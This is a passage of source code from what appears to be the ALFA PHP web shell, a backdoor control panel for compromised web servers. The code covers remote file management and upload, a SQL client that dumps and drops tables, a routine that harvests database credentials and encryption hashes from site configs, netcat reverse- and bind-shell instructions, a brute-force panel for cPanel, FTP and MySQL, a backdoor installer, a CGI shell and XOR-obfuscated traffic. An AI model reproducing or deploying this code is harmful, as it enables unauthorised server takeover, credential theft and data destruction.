".($GLOBALS[\'sys\']!="win"?\'true\':\'false\').";\r\nvar post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?\'true\':\'false\').";\r\nfunction set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {\r\nif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\nif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;";\r\nfor($j=1;$j<=10;$j++){\r\necho \'if(alfa\'.$j.\'!=null)d.mf.alfa\'.$j.\'.value=alfa\'.$j.\';else d.mf.alfa\'.$j.\'.value=alfa\'.$j.\'_;\';\r\n}\r\necho "\r\nif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n}";\r\necho \'function fc(a){alfaloader("block");var b="a="+alfab64("FilesMan")+"&c="+alfab64(a.c.value)+"&alfa1="+alfab64(a.alfa1.value)+"&ajax="+alfab64("true")+"&",c="";for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&d.files.elements[i].checked&&(c+="f[]="+alfab64(d.files.elements[i].value)+"&");_Ajax(d.URL,b+c,function(a){alfaloader("none")},!0)}function initDir(a){var b="",c="";islinux&&(b="<a class=\\"header_pwd\\" onclick=\\"g(\\\'FilesMan\\\',\\\'/\\\');\\" href=\\\'javascript:void(0);\\\'>/</a>",c="/");var e=a.split("/"),f="",g="";"-1"!=e.indexOf("..")&&(e.splice(e.indexOf("..")-1,1),e.splice(e.indexOf(".."),1));for(i in e)""!=e[i]&&(f+="<a onclick=\\"g(\\\'FilesMan\\\',\\\'"+g+e[i]+"/\\\');\\" href=\\\'javascript:void(0);\\\' class=\\"header_pwd\\">"+e[i]+"/</a>",g+=e[i]+"/");$("header_cwd").innerHTML=b+f+" ";var e=c+e.join("/");e=e.replace("//","/"),d.footer_form.c.value=e,$("footer_cwd").value=e,c_=e}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(a,b,c,e){var f=!1;return window.XMLHttpRequest?f=new XMLHttpRequest:window.ActiveXObject&&(f=new ActiveXObject("Microsoft.XMLHTTP")),f?(f.onreadystatechange=function(){4==f.readyState&&200==f.status&&("function"!=typeof c?d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText:e?(d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText,c(f.responseText)):c(f.responseText))},f.open("POST",a,!0),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(b),void 0):void alert("Error !")}function handleup(a,b){var c="__fnameup";0!=b&&(c="__fnameup"+b),a.files[0].name&&($(c).innerHTML=a.files[0].name)}function u(a){alfaloader("block");a.submit.disabled=true;var av = a.a.value,cv = a.c.value,alv = a.alfa1.value,cha = a.charset.value;var b=!1;if(a.a.value=alfab64(a.a.value),a.c.value=alfab64(a.c.value),a.alfa1.value=alfab64(a.alfa1.value),a.charset.value=alfab64(a.charset.value),window.XMLHttpRequest?b=new XMLHttpRequest:window.ActiveXObject&&(b=new ActiveXObject("Microsoft.XMLHTTP")),b){var c=$("up_bar");b.upload&&(c.style.display="block",b.upload.onprogress=function(a){var b=a.position||a.loaded,d=a.totalSize||a.total,e=Math.floor(b/d*1e3)/10+"%";c.style.width=e}),b.onload=function(e){for(200===b.status?(_Ajax(d.URL,"a="+alfab64("FilesMan")+"&c="+a.c.value+"&ajax="+alfab64("true")),c.style.display="none",a.a.value=av,a.c.value=cv,a.alfa1.value=alv,a.charset.value=cha):alert("An error occurred!"),$("footerup").value="",$("__fnameup").innerHTML="";upcount;){var f=$("pfooterup_"+upcount);f&&f.parentNode.removeChild(f),upcount--}0==upcount&&upcount++,alfaloader("none"),a.submit.disabled=false},b.onerror=function(a){};var e=new FormData(a);b.open("POST",d.URL),b.send(e)}}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),"GetConfig"!=a&&"download"!=alfa2&&(d.getElementsByClassName("ajaxarea")[0].innerHTML=\\\'<center><br /><img id="alfaloader" src="\'.__showicon(\'loader\').\'"></img><br /><br /></center>\\\'),islinux&&"/"!=d.mf.c.value.substr(0,1)&&(d.mf.c.value="/"+d.mf.c.value);for(var data="a="+alfab64(a)+"&c="+alfab64(d.mf.c.value)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d.mf.c.value),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data),c!=c_&&c&&initDir(c)):(alfaloader("block"),_Ajax(d.URL,data,function(a){try{a=JSON.parse(a),a.host&&a.user&&a.dbname&&($("db_host")&&($("db_host").value=a.host),$("db_user")&&($("db_user").value=a.user),$("db_name")&&($("db_name").value=a.dbname),$("db_pw")&&($("db_pw").value=a.password),$("db_prefix")&&a.prefix&&($("db_prefix").value=a.prefix),$("cc_encryption_hash")&&a.cc_encryption_hash&&($("cc_encryption_hash").value=a.cc_encryption_hash))}catch(a){}alfaloader("none")}))}function alfaloader(a){$("a_loader").style.display=a}function fsu(a){alfaloader("block");for(var b={},c=0;c<a.elements.length;c++)"submit"!=a.elements[c].type&&(b[a.elements[c].name]=a.elements[c].value);for(c in mysql_cache)mysql_cache[c]=alfab64(mysql_cache[c]);_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("update")+"&alfa2="+alfab64(JSON.stringify(b))+"&c="+alfab64(c_)+"&charset="+mysql_cache.charset+"&type="+mysql_cache.type+"&sql_host="+mysql_cache.host+"&sql_login="+mysql_cache.user+"&sql_pass="+mysql_cache.pass+"&sql_base="+mysql_cache.db+"&sql_count="+mysql_cache.count+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function fs(f,e){alfaloader("block");var alfa1="query",alfa2=f.query?alfab64(f.query.value):"",host=f.sql_host?f.sql_host.value:mysql_cache.host,user=f.sql_login?f.sql_login.value:mysql_cache.user,pass=f.sql_pass?f.sql_pass.value:mysql_cache.pass,db=f.sql_base?f.sql_base.value:mysql_cache.db,type=f.type?f.type.value:mysql_cache.type,charset=f.charset?f.charset.value:mysql_cache.charset,count="";switch(count=f.sql_count?f.sql_count.checked?"true":"":mysql_cache.count,f){case"0":alfa1="select",alfa2=alfab64(e);break;case"1":e=eval(e),alfa1="select",alfa2=alfab64(e[0])+"&alfa3="+alfab64(e[1]);break;case"2":e=eval(e),alfa1="edit",alfa2=alfab64(db)+"&alfa3="+alfab64(e.join(":"));break;case"3":alfa1="loadfile",alfa2=alfab64(e);break;case"4":case"5":alfa1=(f=="4"?"dumpfile":"droptbl");var obj={},id=$("dumpfile");for(obj.file=id?id.value:"dump.sql",obj.tbl=[],i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked&&obj.tbl.push(d.sf.elements["tbl[]"][i].value);alfa2=alfab64(JSON.stringify(obj))}_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64(alfa1)+"&alfa2="+alfa2+"&c="+alfab64(c_)+"&charset="+alfab64(charset)+"&type="+alfab64(type)+"&sql_host="+alfab64(host)+"&sql_login="+alfab64(user)+"&sql_pass="+alfab64(pass)+"&sql_base="+alfab64(db)+"&sql_count="+alfab64(count)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function ctlbc(a){var b=$("bcStatus"),c=$("bcipAction");"bind"==a.value?(c.style.display="none",b.innerHTML="<small>Press ` <font color=\\\'red\\\'>>></font> ` button and run ` <font color=\\\'red\\\'>nc server_ip port</font> ` on your computer</small>"):(c.style.display="inline-block",b.innerHTML="<small>Run ` <font color=\\\'red\\\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\\\'red\\\'>>></font> ` button</small>")}function is(){for(i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked=!d.sf.elements["tbl[]"][i].checked}function $(a){return d.getElementById(a)}function addnewup(){var a="footerup_"+upcount,b="pfooterup_"+upcount,c=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",e=d.createElement("p");e.innerHTML=\\\'<label class="inputfile" for="\\\'+a+\\\'"><span id="__fnameup\\\'+upcount+\\\'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="\\\'+a+\\\'" type="file" name="f[]" onChange="handleup(this,\\\'+upcount+\\\');">\\\',e.id=b,e.appendAfter($(c)),upcount++}function alfa_searcher_tool(a){switch(a){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(a,b){d.srch.ext.disabled=a,d.srch.ext.value=b}function dis_input(a){switch(a){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(a,b,d){"21"!=b?c="localhost":c="ftp.example.com",$("port").disabled=a,$("port").value=b,$("target").value=c,$("protocol").value=d}Element.prototype.appendAfter=function(a){a.parentNode.insertBefore(this,a.nextSibling)};function inBackdoor(t){if(t.value=="my"){$("backdoor_textarea").style.display="block";}else{$("backdoor_textarea").style.display="none";}}\r\nfunction saveByKey(event){\r\n\tif(!(String.fromCharCode(event.which).toLowerCase() == \\\'s\\\' && event.ctrlKey) && !(event.which == 19))return true;\r\n\t$("editor_edit_area").onsubmit();\r\n\tevent.preventDefault();\r\n\treturn false;\r\n}\r\nfunction setCookie(cname, cvalue, exdays){\r\n    var d = new Date();\r\n    d.setTime(d.getTime() + (exdays*24*60*60*1000));\r\n    var expires = "expires="+ d.toUTCString();\r\n    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";\r\n}\r\nfunction getCookie(name){\r\n  var value = "; " + document.cookie;\r\n  var parts = value.split("; " + name + "=");\r\n  if (parts.length == 2) return parts.pop().split(";").shift();\r\n}\r\nfunction editorClose(pos){\r\n\td.body.style.overflow = "visible";\r\n\telem = $(pos);\r\n\telem.setAttribute("class", "editor-anim-close");\r\n\tif(pos == "editor"){\r\n\t\tis_minimized = false;\r\n\t}else{\r\n\t\tcgi_is_minimized = false;\r\n\t}\r\n\tsetTimeout(function(){\r\n\t\telem.removeAttribute("class");\r\n\t\telem.style.display = "none";\r\n\t}, 1000);\r\n\td.body.style.overflow = "visible";\r\n}\r\nfunction showEditor(pos){\r\n\t$(pos).setAttribute("class", "editor-anim-show");\r\n\t$(pos+"-minimized").setAttribute("class", "minimized-hide");\r\n\tif(pos == "editor"){\r\n\t\tis_minimized = false;\r\n\t\tif(cgi_is_minimized){\r\n\t\t\t$("cgiloader-minimized").style.top = "30%";\r\n\t\t}\r\n\t}else{\r\n\t\tcgi_is_minimized = false;\r\n\t\tif(is_minimized){\r\n\t\t\t$("editor-minimized").style.top = "30%";\r\n\t\t}\r\n\t}\r\n\td.body.style.overflow = "hidden";\r\n}\r\nfunction editorMinimize(pos){\r\n\t$(pos).setAttribute("class", "editor-anim-minimize");\r\n\t$(pos+"-minimized").setAttribute("class", "minimized-show");\r\n\tif(pos == "editor"){\r\n\t\tis_minimized = true;\r\n\t\tif(cgi_is_minimized){\r\n\t\t\t$("cgiloader-minimized").style.top = "20%";\r\n\t\t\t$("editor-minimized").style.top = "50%";\r\n\t\t}else{\r\n\t\t\t$("editor-minimized").style.top = "30%";\r\n\t\t}\r\n\t}else{\r\n\t\tcgi_is_minimized = true;\r\n\t\tif(is_minimized){\r\n\t\t\t$("cgiloader-minimized").style.top = "20%";\r\n\t\t\t$("editor-minimized").style.top = "50%";\r\n\t\t}else{\r\n\t\t\t$("cgiloader-minimized").style.top = "30%";\r\n\t\t}\r\n\t}\r\n\td.body.style.overflow = "visible";\r\n}\r\nfunction clearEditorHistory(){\r\n\tvar check = confirm("Are u Sure?");\r\n\tif(check){\r\n\t\tfor(var i in editor_files){\r\n\t\t\tif(i != editor_current_file){\r\n\t\t\t\tremoveHistory(i);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction editor(file, mode, arg, pwd, file_id, type){\r\n\tif(type=="dir"&&file=="..")return false;\r\n\tif(mode == "download"){\r\n\t\tg("FilesTools",pwd,file,"download");\r\n\t\treturn false;\r\n\t}\r\n\tvar param = "", fid = "", pure_fid = "", cwd = d.mf.c.value, can_append = true;\r\n\tfile = file.trim();\r\n\tif(Object.keys(editor_files).length == 0){\r\n\t\tvar cookie_file = getCookie("alfa_history_files");\r\n\t\ttry{\r\n\t\t\teditor_files = JSON.parse(cookie_file);\r\n\t\t\tfor(var t in editor_files){\r\n\t\t\t\tinsertToHistory(t, editor_files[t].file, 0, editor_files[t].type);\r\n\t\t\t}\r\n\t\t}catch(e){}\r\n\t}\r\n\tif(file.indexOf("/") != -1){\r\n\t\tvar file_split = file.split("/");\r\n\t\tfile = file_split[file_split.length - 1];\r\n\t\tdelete file_split[file_split.length - 1];\r\n\t\tcwd = file_split.join("/");\r\n\t\tif(islinux){\r\n\t\t\tcwd = "/"+cwd;\r\n\t\t}\r\n\t}\r\n\tif(typeof type == "undefined"){\r\n\t\ttype = "";\r\n\t}\r\n\tif(typeof pwd != "undefined" && pwd != null && pwd.length != 0){\r\n\t\tcwd = pwd.trim();\r\n\t}\r\n\ttry{\r\n\t\tfor(var i in editor_files){\r\n\t\t\tif(editor_files[i].file == decodeURIComponent(file) && editor_files[i].pwd.replace(/\\//g,"") == cwd.replace(/\\//g,"")){\r\n\t\t\t\tcan_append = false;\r\n\t\t\t\tfile_id = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t}catch(e){\r\n\t\tconsole.log(e);\r\n\t}\r\n\teditor_error = true;\r\n\tif(typeof arg != "undefined" && arg.length != 0 && arg != null){\r\n\t\tparam = alfab64(arg);\r\n\t}\r\n\tif(typeof file_id != "undefined" && file_id != null && file_id.length != 0){\r\n\t\tfid = alfab64(file_id);\r\n\t\tpure_fid = file_id;\r\n\t}else{\r\n\t\tvar rand_fid = "file_" + getRandom(10);\r\n\t\tfid = alfab64(rand_fid);\r\n\t\tpure_fid = rand_fid;\r\n\t}\r\n\talfaloader("block");\r\n\t_Ajax(d.URL, "a="+alfab64("FilesTools")+"&c="+alfab64(cwd)+"&alfa1="+alfab64(file)+"&alfa2="+alfab64(mode)+"&alfa3="+param+"&alfa4="+fid+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"), function(e){\r\n\t\tdocument.querySelector(".editor-content").innerHTML = e;\r\n\t\t$("editor").style.display  = "block";\r\n\t\talfaloader("none");\r\n\t\tevalJS(e);\r\n\t\tif(mode != "delete" && editor_error){\r\n\t\t\tvar active = d.getElementsByClassName("is_active");\r\n\t\t\tif(active.length != 0){\r\n\t\t\t\tactive[0].className = "file-holder";\r\n\t\t\t}\r\n\t\t\tfid = pure_fid;\r\n\t\t\tfile = decodeURIComponent(file);\r\n\r\n\t\t\tif(!editor_files[fid] && can_append){\r\n\t\t\t\teditor_files[fid] = {"file": file, "pwd": cwd, "type": type};\r\n\t\t\t\tinsertToHistory(fid, file, " is_active", type);\r\n\t\t\t\tif(mode=="mkfile"){\r\n\t\t\t\t\tg("FilesMan",null);\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$(fid).parentNode.className += " is_active";\r\n\t\t\t}\r\n\t\t}\r\n\t\td.body.style.overflow = "hidden";\r\n\t\td.getElementsByClassName("filestools")[0].setAttribute("fid", fid);\r\n\t\tif(editor_files[fid]){\r\n\t\t\td.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\\/\\//g, "/");\r\n\t\t}\r\n\t\teditor_current_file = fid;\r\n\t\tif(is_minimized){\r\n\t\t\tshowEditor("editor");\r\n\t\t}\r\n\t\tupdateCookieEditor();\r\n\t});\r\n\treturn false;\r\n}\r\nfunction insertToHistory(fid, file, mode, type){\r\n\tvar active = "";\r\n\tif(mode && mode != 0){\r\n\t\tactive = mode;\r\n\t}\r\n\tvar NewElement = document.createElement("div");\r\n\tNewElement.innerHTML = "<div id=\\\'"+fid+"\\\' class=\\\'history\\\' onClick=\\\'reopen(this);\\\'><div class=\\\'editor-icon\\\'>"+loadType(file,type,fid)+"</div><div class=\\\'editor-file-name\\\'>"+file+"</div></div><div class=\\\'history-close\\\' onClick=\\\'removeHistory(\\""+fid+"\\");\\\'>X</div>";\r\n\tNewElement.className = "file-holder" + active;\r\n\tNewElement.addEventListener("mouseover", function(){setEditorTitle(fid,"over");this.childNodes[1].style.opacity = "1";});\r\n\tNewElement.addEventListener("mouseout", function(){setEditorTitle(fid,"out");this.childNodes[1].style.opacity = "0";});\r\n\tvar refNode = d.getElementsByClassName("history-list")[0];\r\n\trefNode.insertBefore(NewElement, refNode.firstChild);\r\n}\r\nfunction loadType(file,type,id){\r\n\tif(type == "none"){\r\n\t\t_Ajax(d.URL, "a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[id].pwd)+"&arg="+alfab64(editor_files[id].file), function(e){\r\n\t\t\t$(id).innerHTML = "<div class=\\\'editor-icon\\\'>"+loadType(editor_files[id].file,e,id)+"</div><div class=\\\'editor-file-name\\\'>"+editor_files[id].file+"</div>";\r\n\t\t\teditor_files[id].type = e;\r\n\t\t});\r\n\t}\r\n\tvar img = \\\'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\\\';\r\n\tif(type == "file"){\r\n\t\ttype = file.split(".");\r\n\t\ttype  = type[type.length - 1].toLowerCase();\r\n\t\tvar types = ["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"];\r\n\t\tif(types.indexOf(type) == -1){\r\n\t\t\ttype = "notfound";\r\n\t\t}\r\n\t}else{\r\n\t\ttype = "folder";\r\n\t}\r\n\treturn img.replace("{type}",  type + ".png");\r\n}\r\nfunction updateDirsEditor(fid, fname){\r\n\tvar current_path = d.mf.c.value + "/";\r\n\tvar oldpath  = editor_files[fid].pwd + "/" + fname + "/";\r\n\tvar newpath  = editor_files[fid].pwd + "/" + editor_files[fid].file + "/";\r\n\toldpath = oldpath.replace(/\\/\\//g, "/");\r\n\tnewpath = newpath.replace(/\\/\\//g, "/");\r\n\tcurrent_path = current_path.replace(/\\/\\//g, "/");\r\n\tif(current_path.search(oldpath) != -1){\r\n\t\tinitDir(current_path.replace(oldpath, newpath));\r\n\t\td.mf.c.value = current_path.replace(oldpath, newpath);\r\n\t\t_Ajax(d.URL,"a="+alfab64("updatepath")+"&path="+alfab64(d.mf.c.value),function(e){console.log(e)});\r\n\t}\r\n\tfor(var i in editor_files){\r\n\t\tvar path = editor_files[i].pwd + "/";\r\n\t\tpath = path.replace(/\\/\\//g, "/");\r\n\t\tif(path.search(oldpath) != -1){\r\n\t\t\teditor_files[i].pwd = path.replace(oldpath, newpath);\r\n\t\t}\r\n\t}\r\n\tvar reg1 = new RegExp("\\\'"+oldpath.slice(0, -1)+"\\\'");\r\n\tvar reg2 = new RegExp(fname + " \\\\\\|</b></a>");\r\n\td.files.innerHTML = d.files.innerHTML.replace(reg1, "\\\'"+newpath.slice(0, -1)+"\\\'");\r\n\td.files.innerHTML = d.files.innerHTML.replace(reg2, editor_files[fid].file+" |</b></a>");\r\n\tupdateCookieEditor();\r\n}\r\nfunction updateCookieEditor(){\r\n\tsetCookie("alfa_history_files", JSON.stringify(editor_files), 2012);\r\n}\r\nfunction setEditorTitle(fid, mode){\r\n\tif(mode == "out" && editor_current_file != ""){\r\n\t\tfid = editor_current_file;\r\n\t}\r\n\tif(editor_files[fid]){\r\n\t\td.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\\/\\//g, "/");\r\n\t}\r\n}\r\nfunction removeHistory(el){\r\n\tdelete editor_files[el];\r\n\tif($(el)){\r\n\t\t$(el).parentNode.parentNode.removeChild($(el).parentNode);\r\n\t}\r\n\tvar elm = d.getElementsByClassName("filestools")[0];\r\n\tif(elm){\r\n\t\tif(elm.getAttribute("fid") == el){\r\n\t\t\telm.outerHTML = "";\r\n\t\t}\r\n\t}\r\n\tif(editor_current_file == el){\r\n\t\teditor_current_file = "";\r\n\t}\r\n\tupdateCookieEditor();\r\n}\r\nfunction getRandom(e){\r\n\tfor(var i = "undefined" == typeof e ? 20 : e, t = "", s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", n = i; n > 0; --n) t += s[Math.floor(Math.random() * s.length)];\r\n\treturn t\r\n}\r\nfunction reopen(el){\r\n\tvar file_id = el.getAttribute("id")\r\n\tvar pwd = editor_files[file_id].pwd;\r\n\tvar filename = editor_files[file_id].file;\r\n\teditor(filename, "auto", "", pwd, file_id);\r\n}\r\nfunction copyToClipboard(el){\r\n\tvar node = document.getElementById(el);\r\n\tif(document.selection){\r\n\t\tvar range = document.body.createTextRange();\r\n\t\trange.moveToElementText(document.getElementById(el));\r\n\t\trange.select();\r\n\t\tdocument.execCommand("Copy");\r\n\t\talert("text copied");\r\n\t}else if (window.getSelection()){\r\n\t\tvar range = document.createRange();\r\n\t\trange.selectNode(document.getElementById(el));\r\n\t\twindow.getSelection().removeAllRanges();\r\n\t\twindow.getSelection().addRange(range);\r\n\t\tdocument.execCommand("copy");\r\n\t\talert("text copied");\r\n\t}\r\n}\r\nfunction encrypt(str, pwd) {\r\n\tif (pwd == null || pwd.length <= 0) {\r\n\t\treturn null;\r\n\t}\r\n\tstr = alfab64(str, true);\r\n\tpwd = alfab64(pwd, true);\r\n\tvar enc_chr = "";\r\n\tvar enc_str = "";\r\n\tvar i = 0;\r\n\twhile (i < str.length) {\r\n\t\tfor (var j = 0; j < pwd.length; j++) {\r\n\t\t\tenc_chr = str.charCodeAt(i) ^ pwd.charCodeAt(j);\r\n\t\t\tenc_str += String.fromCharCode(enc_chr);\r\n\t\t\ti++;\r\n\t\t\tif (i >= str.length) break;\r\n\t\t}\r\n\t}\r\n\treturn alfab64(enc_str, true);\r\n}\r\nfunction reloadSetting(e){\r\nalfaloader("block");\r\n_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},true);\r\nif(e.e.value==0&&e.protect.value==1)setTimeout("location.reload()",1000);\r\nif(e.s.value!=e.icon.value)setTimeout("location.reload()",1000);\r\nreturn false\r\n}\r\nfunction reloadColors(config){\r\n\tvar obj = {};\r\n\tif(typeof config == "undefined"){\r\n\t\td.querySelectorAll(".colors_input").forEach(function(e){\r\n\t\t\tvar id = e.getAttribute("target").replace(".", "");\r\n\t\t\tobj[id] = e.value;\r\n\t\t});\r\n\t}else{\r\n\t\tobj = config;\r\n\t}\r\n\talfaloader("block");\r\n\tvar checdk = ($("use_default_color").checked?"1":"0");\r\n\t_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(obj))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(checdk)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){alfaloader("none");evalJS(e);},true);\r\n}\r\nfunction alfab64(a, normal){\r\n\tif(typeof normal != "undefined" || post_encryption_mode == false){\r\n\t\treturn window.btoa(unescape(encodeURIComponent(a)));\r\n\t}\r\n\treturn encrypt(a, "\'._AlfaSecretKey().\'");\r\n}\r\nfunction evalCss(jcss){\r\n\tvar style = document.createElement("style");\r\n\tif (style.styleSheet) {\r\n\t\tstyle.styleSheet.cssText = jcss;\r\n\t} else {\r\n\t\tstyle.appendChild(document.createTextNode(jcss));\r\n\t}\r\n\td.getElementsByTagName("head")[0].appendChild(style);\r\n}\r\nfunction colorHandlerKey(el){\r\n\tsetTimeout(function(e){\r\n\t\tcolorHandler(el);\r\n\t}, 200);\r\n}\r\nfunction colorHandler(el){\r\n\tvar target = el.getAttribute("target");\r\n\tvar multi = el.getAttribute("multi");\r\n\tvar ishover = target.indexOf(":hover");\r\n\tif(multi){\r\n\t\tvar array = JSON.parse(atob(multi));\r\n\t\tvar jcss = "";\r\n\t\tfor(i in array.multi_selector){\r\n\t\t\tjcss += i + "{"+array.multi_selector[i].replace(/{color}/g, el.value)+"}";\r\n\t\t}\r\n\t\tevalCss(jcss);\r\n\t}\r\n\tif(ishover != -1 && !multi){\r\n\t\t$("input_" + target.replace(".","")).value = el.value;\r\n\t\t$("gui_" + target.replace(".","")).value = el.value;\r\n\t\tvar css = target+"{color: "+el.value+";}";\r\n\t\tevalCss(css);\r\n\t}else{\r\n\t\t$("input_" + target.replace(".","")).value = el.value;\r\n\t\t$("gui_" + target.replace(".","")).value = el.value;\r\n\t\tif(target == ".header_values"){\r\n\t\t\ttarget = ".header,.header_values";\r\n\t\t}\r\n\t\td.querySelectorAll(target).forEach(function(e){\r\n\t\t\te.style.color = el.value;\r\n\t\t});\r\n\t}\r\n}\r\nfunction importConfig(event){\r\n\tvar input = event.target;\r\n    var reader = new FileReader();\r\n    reader.onload = function(){\r\n      var data = reader.result;\r\n\t  try{\r\n\t\t  var conf = JSON.parse(data);\r\n\t\t  reloadColors(conf);\r\n\t  }catch(e){\r\n\t\t  alert("Config is invalid...!");\r\n\t  }\r\n\t  $("importFileBtn").value = "";\r\n    };\r\n    reader.readAsText(input.files[0]);\r\n}\r\nfunction checkBox(){for(i=0;i<d.files.elements.length;i++){if(d.files.elements[i].type == "checkbox"){d.files.elements[i].checked = d.files.elements[0].checked;}}}\r\nfunction path_history(pos){\r\n\t_Ajax(d.URL,"a="+alfab64("GetPathHistory")+"&ajax="+alfab64("true"),function(e){g("FilesMan", e);},true);\r\n}\r\nfunction runcgi(lang){\r\n\tif(cgi_is_minimized && cgi_lang == lang){\r\n\t\tshowEditor("cgiloader");\r\n\t\treturn false;\r\n\t}\r\n\t_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(lang)+"&ajax="+alfab64("true"),function(e){\r\n\t\td.body.style.overflow = "hidden";\r\n\t\t$("cgiloader").style.display = "block";\r\n\t\t$("cgiframe").innerHTML = e;\r\n\t\tcgi_lang = lang;\r\n\t\tif(cgi_is_minimized){\r\n\t\t\t$("cgiloader-minimized").setAttribute("class", "minimized-hide");\r\n\t\t\tsetTimeout(function(){\r\n\t\t\t\t$("cgiloader").removeAttribute("class");\r\n\t\t\t\tif(is_minimized){\r\n\t\t\t\t\t$("editor-minimized").style.top = "30%";\r\n\t\t\t\t}\r\n\t\t\t}, 1000);\r\n\t\t}\r\n\t});\r\n}\r\n\';\r\necho "</script>\r\n<form style=\'display:none;\' id=\'dlForm\' action=\'\' target=\'_blank\' method=\'post\'>\r\n<input type=\'hidden\' name=\'a\' value=\'dlfile\'>\r\n<input type=\'hidden\' name=\'c\' value=\'\'>\r\n<input type=\'hidden\' name=\'file\' value=\'\'>\r\n</form>\r\n<input type=\'file\' style=\'display:none;\' id=\'importFileBtn\' onchange=\'importConfig(event);\'>\r\n<img id=\'a_loader\' src=\'".__showicon(\'loader\')."\'>";\r\n$cmd_uname = alfaEx("uname -a",false,false);\r\n$uname = function_exists(\'php_uname\') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:\'( php_uname ) Function Disabled !\');\r\nif($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}\r\necho \'\r\n</head>\r\n<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">\r\n<div id="up_bar"></div>\r\n<div class="whole">\r\n<form method="post" name="mf" style="display:none;">\r\n<input type="hidden" name="a">\r\n<input type="hidden" name="c" value="\'.$GLOBALS[\'cwd\'].\'">\';\r\nfor($s=1;$s<=10;$s++){\r\necho \'<input type="hidden" name="alfa\'.$s.\'">\';\r\n}\r\necho \'<input type="hidden" name="charset">\r\n</form>\r\n<div id=\\\'hidden_sh\\\'><a class="alert_green" target="_blank" href="?solevisible">Hidden Shell<br><small>Version: <span class="hidden_shell_version">\'.__ALFA_VERSION__.\'</span></small></a></div>\r\n<div class="header"><table width="100%" border="0">\r\n<tr>\r\n<td width="3%"><span class="header_vars">Uname:</span></td>\r\n<td colspan="2"><span class="header_values" id="header_uname">\'.$uname.\'</span></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">User:</span></td>\r\n<td><span class="header_values" id="header_userid">\'. $uid . \' [ \' . $user . \' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">\' . 